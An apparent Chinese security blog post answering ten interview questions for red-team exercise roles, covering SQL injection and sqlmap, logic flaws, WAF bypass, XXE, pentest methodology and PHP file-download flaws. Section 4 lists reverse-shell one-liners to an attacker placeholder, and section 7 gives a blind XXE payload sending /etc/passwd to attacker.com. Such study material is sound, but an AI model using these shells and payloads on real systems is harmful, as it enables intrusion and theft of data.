安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 01
1. SQL注入类型与sqlmap命令
常见SQL注入类型
sqlmap检测命令
SQLMAP API使用
2. 服务简介与默认端口
3. 逻辑漏洞类型
4. Linux反弹Shell方法
5. SQL注入Bypass WAF技巧
6. 漏洞检测代码(Python实现)
7. XXE漏洞分析
基本原理
检测Blind XXE
8. 网站渗透测试思路
9. Web扫描器爬虫观点
10. PHP任意文件下载漏洞
常见函数
漏洞原因
修复方案
2025年HW(护网面试) 01
1、常见的SQL注入类型有哪些?并写出sqlmap检测SQL注入的命令?SQLMAPAPI怎么使用 2、Mongodb、redis、websphere、rsync服务简介和默认运行端口 3、写出你知道的逻辑漏洞 4、列举Linux的反弹shell的一些方法 5、针对SQL注入,写出你所知道的Bypass WAF的可能的方式 6、写出任意一种漏洞检测代码,用python实现 7、简述XXE的基本原理,以及如何去检测或者判断Blind XXE的存在 8、简述针对一个网站的渗透测试思路 9、针对Web扫描器的爬虫,你怎么看 10、简述PHP中造成任意文件下载漏洞的常见函数,以及造成漏洞的原因
1. SQL注入类型与sqlmap命令
常见SQL注入类型
- Union-based:联合查询注入,通过
UNION
获取其他表数据。- Error-based:利用数据库报错信息泄露数据。
- Boolean-based Blind:通过布尔条件(真/假)逐位推断数据。
- Time-based Blind:利用延时函数(如
SLEEP()
)判断条件真假。- Stacked Queries:堆叠查询,执行多条SQL语句(需后端支持)。
- Out-of-band (OOB):通过DNS/HTTP请求外带数据(较少见)。
sqlmap检测命令
bash
sqlmap -u "http://example.com/id=1" --risk=3 --level=5 --batch
- 关键参数:
--dbs
:枚举数据库;--tables
:枚举表;--dump
:导出数据;--os-shell
:获取系统Shell。SQLMAP API使用
- 启动API服务:
bash
sqlmapapi -s
- 客户端操作:
- 创建任务:
POST /task/new
→ 获取taskid
;- 配置扫描:
POST /scan/<taskid>/start
,提交JSON参数(如{"url": "http://example.com"}
);- 获取结果:
GET /scan/<taskid>/status
和GET /scan/<taskid>/data
。
2. 服务简介与默认端口
服务 简介 默认端口 MongoDB NoSQL文档数据库,JSON格式存储 27017 Redis 内存键值数据库,支持持久化 6379 WebSphere IBM Java应用服务器(Enterprise版) 9080(HTTP)、9043(HTTPS) rsync 文件同步协议,常用于备份 873
3. 逻辑漏洞类型
- 越权访问:垂直越权(普通用户访问管理员功能)、水平越权(访问他人数据)。
- 支付漏洞:修改订单金额(如前端传参
price=0.01
)、重放支付请求。- 密码重置漏洞:绕过验证(如修改
userid
参数)、短信轰炸、验证码复用。- 业务逻辑绕过:优惠券无限领取、库存负数导致无限购买。
- 条件竞争:并发请求(如抢购时多次提交)。
4. Linux反弹Shell方法
bash
# 方法1:Bash TCP连接 bash -i >& /dev/tcp/攻击者IP/端口 0>&1 # 方法2:Netcat(传统) nc -e /bin/sh 攻击者IP 端口 # 方法3:Python python -c 'import socket,os,pty; s=socket.socket(); s.connect((" 攻击者IP",端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")' # 方法4:加密通信(避免检测) mkfifo /tmp/f; openssl s_client -quiet -connect 攻击者IP:端口 </tmp/f | sh >/tmp/f 2>&1; rm /tmp/f
5. SQL注入Bypass WAF技巧
- 混淆注释:
/*!SELECT*/
(MySQL内联注释)、--%0a
(换行符绕过)。- 特殊编码:URL编码(
%20
)、双重URL编码、Unicode编码(%u0053ELECT
)。- 字符串拼接:
CONCAT('sel','ect')
、's'+'e'+'l'+'e'+'c'+'t'
。- 等价函数替换:
SUBSTRING
→MID
/SUBSTR
;SLEEP()
→BENCHMARK(1000000,MD5('a'))
。- HTTP参数污染:
?id=1&id=2 UNION SELECT
(WAF检测首个参数,后端取末尾)。- 分块传输编码:通过HTTP分块绕过正则检测。
6. 漏洞检测代码(Python实现)
漏洞类型:基于时间的SQL盲注检测
python
import requests import time def check_time_based_sql(url, param): payloads = [ "' AND SLEEP(5)-- ", # MySQL "' WAITFOR DELAY '0:0:5'-- ", # MSSQL "' AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,10000000))-- " # PostgreSQL ] for payload in payloads: start_time = time.time() res = requests.get(url, params={param: payload}) elapsed = time.time() - start_time if elapsed >= 5: print(f"[!] 存在时间盲注漏洞!Payload: {payload}") return True print("[*] 未检测到时间盲注漏洞") return False # 示例调用 check_time_based_sql("http://example.com/page", "id")
7. XXE漏洞分析
基本原理
XML解析器未禁用外部实体(DTD),攻击者可:
- 读取本地文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
;- 发起SSRF请求:
SYSTEM "http://attacker.com"
;- 执行Blind XXE数据外带。
检测Blind XXE
- 带外通道(OOB):
- 注入恶意DTD:
xml
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
- 监测攻击者服务器是否收到HTTP请求(含文件内容)。
- 报错回显:触发错误信息包含敏感数据(需解析器配置允许)。
8. 网站渗透测试思路
- 信息收集:
- Whois查询、子域名扫描(工具:Sublist3r)、端口扫描(Nmap)。
- 漏洞扫描:
- Web扫描器(AWVS、Burp Suite)检测SQL注入/XSS等。
- 手动测试:
- 逻辑漏洞(越权、支付绕过);
- 认证与会话管理(弱密码、Session固定)。
- 服务层攻击:
- 中间件漏洞(如WebSphere反序列化);
- 数据库未授权访问(Redis/MongoDB)。
- 后渗透:
- 提权(Linux内核漏洞);
- 横向移动(抓取密码、SSH密钥)。
9. Web扫描器爬虫观点
- 优点:
- 高效覆盖:自动化遍历目录、参数,识别低危漏洞(如目录遍历);
- 标准化:减少重复性工作(如Cookie注入检测)。
- 局限:
- 逻辑漏洞盲区:无法理解业务场景(如红包领取规则);
- 动态内容误报:JavaScript渲染页面漏扫(需结合Headless浏览器);
- WAF干扰:频繁请求易触发封禁。
- 改进方向:
- AI辅助:结合机器学习识别业务逻辑;
- 被动扫描:代理模式记录用户操作后再扫描。
10. PHP任意文件下载漏洞
常见函数
php
readfile("/var/www/data/" . $_GET['file']); // 直接读取文件file_get_contents($filename); // 获取文件内容 fopen($_POST['path'], 'r'); // 打开文件流
漏洞原因
- 未过滤用户输入:直接拼接参数(如
?file=../../.env
);- 路径遍历:未限制目录(
../
跳转);- 后缀校验缺失:未检查文件类型(如
.php
文件被下载后源码泄露)。修复方案
php
// 白名单校验 $allowed = ['report.pdf', 'guide.txt']; if (in_array($_GET['file'], $allowed)) { readfile("/safe_dir/" . $_GET['file']); } else { die("非法文件!"); }